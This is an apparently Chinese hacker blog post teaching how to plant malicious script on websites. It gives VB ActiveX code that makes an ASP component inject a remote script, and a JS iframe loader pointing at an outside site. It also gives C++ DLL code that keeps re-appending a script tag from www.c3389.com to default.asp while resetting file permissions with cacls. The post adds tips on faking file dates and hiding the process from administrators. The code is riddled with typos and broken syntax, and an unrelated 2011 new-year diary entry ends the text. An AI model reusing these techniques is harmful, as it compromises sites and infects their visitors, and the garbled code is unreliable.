其实也很简单,就是利用VB写一个简单的ASP封装程序而已。至于代码我就不解释了,就教下怎么操作就行了,首先我们需要安装一个完整的VB编译器,打开VB,选择ACTIVEXDLL工程
然 后选择"打开",在上面点"工程"—"引号",进入选择页面,选择"Microsoft Active SerVer Pages Object Library",然后"确定"即可。菜鸟不用学习代码是什么意思,反正我是花了很长时间反复测试,终于编译成功了,大家就用我的代码吧。
-----------------------------------------------------------------------------------------------------------------------------------------------
private    MyScriotingContext As ScriptingContext  private MyResponse As Response  public Sub OnStartPage(PassedScriptingContext AS ScriptingContext)  Set MyScriptingContext = PassedScriptingContext  Set Myresponse = MyscriptingContext.Response  End Sub Public Sub OnEndpage()  Set MyResponse = Nothing End Sub Public Sub Start()  MyResponse.Write "<script language+javasecript src='http://127.0.0.1/gxm.js'></script>" End Sub ------------------------------------------------------------------------------------------------------------------------------------------
直接把以上代码复制进去,大家如果需要改的话,就改

MyResponse.Write "<scriptlanguage=javascript src='http://127.0.1/gxm.js'></script>" 这句,意思应该都能明白

ASP是需要调用的,那就需要调用名。其实这些组建的名字改工程名就是了,在右边选择工程名,我改成vlegxm。
然后修改类名为gxml,调用方法如下:
<%  Set ObjReference=Sever.CreateObject("gxm.gxm1")  ObjReference = nothing  %>   好了现在利用VB编译下,选择"文件"—"生成",gxm.dll文件所生成的目录,然后执行命令"regsvr32 gxm.dll进行注册
好了现在建立了一个1.asp文件,里面就写调用的代码。因为我们的组件调用的是 http://127.0.0.1/gxm.js,因此我们还要再建立一个gxm.js文件,里面写入如下代码:
document.write('<iframe src=http://www.c3389.com width=500 height=500>  </iframe>');   现在我们去访问下看看
呵呵,在实际应用中,一般conn.asp这样的数据库连接文件不是也要调用组件吗?我们就写到里面去迷惑管理员,这样就查不到iframe标签了!还有两个小的心得,休息一下,我们继续。

2.修改最后文件修改日期工具

前 面刚刚给大家介绍过利用ASP封包挂马,只要修改下conn.asp文件进行调用就可以了。不过管理员只要通过查看修改的 "文件时间" 就能知道什么文件被修改过了,然后覆盖掉站点内觉得可疑的文件,我们的成果就又完蛋了!因此我们不能让管理员察觉到时间不对,这里就来讲讲.修改文件的最 后修改日期.

我站点有一些ASP木马上有这类功能,但是有的是后因为权限的问题(很多时候需要管理员的权限)而无法修改,虽然提示却成功了,呵呵。小菜我自己写了个程序,就直接奉献给大家了,执行后会出现说明
一般我修改好conn.asp文件后,必须对它修改文件最后修改日期。这个小工具的参数有7个,大家应该都能看懂,比如我要修改教cmd.txt,然后照所进行命令执行就可以了。

3.监控特定文件自动插马的无赖工具

这个确实是个无赖,呵呵,以前碰到一个服务器上的管理员,他很会查我的代码,因此为了对付他,我特别自己写了个程序。其实也就是监控指定的文件,如果没有发现挂马语句,就马上插进去。
程序的主流是这样的:"先检查文件里有无挂马语句,没有的话,就给目标足够的访问权限,取消对自身的拒绝权限。以所有权先打开文件,定位到文件最后位置进行插马。接着再检测,有了就跳过,等一段时间再检测。

我的技术不足,就不知道怎么利用AIP函数来操作权限设置,无奈之下,只好在程序工程中用命令来代替了,这里把代码贴出来:
------------------------------------------------------------------------------------------------------------------------------------------------
#include "stdafx.h"  #include"process.h"  #include"windows.h"  #include"string.h"  #include"iostream.h"  #include"fstream.h"  char path2[256]="E:\\website\\default.asp";  char guama[256]="\n<scripc language=javascript src='http://http://www.c3389.com/ADMIN/LDJT/tg.js'></script>";  BOOL APIENTRY DIIMain( HANDLE hModule,                                                  DWORD  uI_reason_for_call,                                                                               )  {    switch  (  ul_reason_for_call  )     {                  case DLL_PROCESS_ATTACH:                  {                                    while(1)  {  ifrstream ifs(path2):  char DileContent[5000];  memset(FileContent,0,5000);//初始化 FileContent  ifs.read(FileContent,5000);//读取数据  ifs.close( )://关闭ifstream对象  if(strstr(FileContent,guama)==0)  {      char  path[256]="E:\\website\\\\default.asp";  char  mingling[256]="cacls";       strcat(mingling.path1);       char ps[25]="/T /E /C /G everyone:F";  strcat(mingling.ps);        char mingling1[256]="cacls ";  strcat(mingling.path1);  char pa[30]="/T /E /C /G administrator:F";       stcat(mingling1.pa);  system(mingling);       system(mingling1);  SetFileAttributes(path2.GetFileAttributes(path1) & ~FILR_ATTRIBUTE_READONLY);      ofstream outfile;  outfile.open(path2,ios: :app);  if  (!outfile)  {               exit(o);  }  outfile<<guama;  outfile.close( );    }    Sleep(9000);      }                        }              default;                              return  TRUE;            }             return  TRUE;      } -----------------------------------------------------------------------------------------------------------------------------------------------------
没有基础的朋友不要紧,只要安装个VC++6.0,然后建立一个EXE工程或DLL工程,主要代码就在里面了。我贴出来的是DLL工程代码,因为我有个插入进程的EXE程序,可以吧DLL插进去。不然很容易被管理员结束进程,从而导致无法监控。
当然,选择EXE工程的朋友,网上已经有些工具,能让京城隐藏、无法删除,或者rootkit等,大家喜欢怎么弄就怎么弄啦,只要把程序里3处地方进行修改即可。
----------------------------------------------------------------------------------------------------------------------------------------------------
char path2[256]="E:\\website\\default.asp";
char path1[256]="E:\\website\\default.asp";
char guama[256]"n<script language=javasceript  src'=http://www.c3389.com/ADMIN/LDJT/tg.js'></script>";
-----------------------------------------------------------------------------------------------------------------------------------------------------
上面这段代码的前面两个都是我们需要监控的代码,第三个就是要插入的挂马语句代码,最终编译一下就OK了。其实这个办法只是为了让管理员郁闷而已,因为管理员每次都能检查到,几天后管理员肯定重装系统,如果你要折磨他的话……
这部分可能对于真正挂马菜鸟来说是有难度,毕竟是我的少部分心得而已,还是建议先把前面大家都学会的学号,呵呵!

五,最后总结

我 记得某期rabbitsafe兄弟写了一篇屏蔽iframe挂马的文章,其实以前管理员也是这么对我的,这东西还不错,要是配上我的组件封包这样调用,那 效果更佳了。为什么呢?因为管理员把iframe标签当成是测品,我们挂马的人碰到那样屏蔽的代码也和管理员一样,看见了就测,所以攻防永远是个永恒的话 题。呵呵,希望管理员能利用上ASP封包组件来调用屏蔽IFRAME,这样能更大的程度上保护网站的访问用户。

2011年已经成为往事,总结起来,过去的一年还是收获很多的,开始了自己喜欢的专业课,对网安有了理论加实际上的初步认识,从网络部退下来半年,看着小孩儿的成长,心里有了一点儿做父母的感觉,还有就是博客在新年以前出炉啦,当然还在调试,呵呵,不过也有不爽的事情,比如说哥的新浪微博,密码危机波及得很严重啊,呵呵,不管它了,总之,还是很好的一年~ 2012年已经到来了,还是很期待的呀,这学期课程很诱人啊,期待中~ 然后就慢慢努力吧,为了自己所喜欢的~呵呵,世界末日什么的,浮云浮云~ 就是因为末日,才更要让自己做不后悔的事,嗯嗯,一切努力…(其实发这篇日志主要是测试手机发日志的效果的,哈哈~)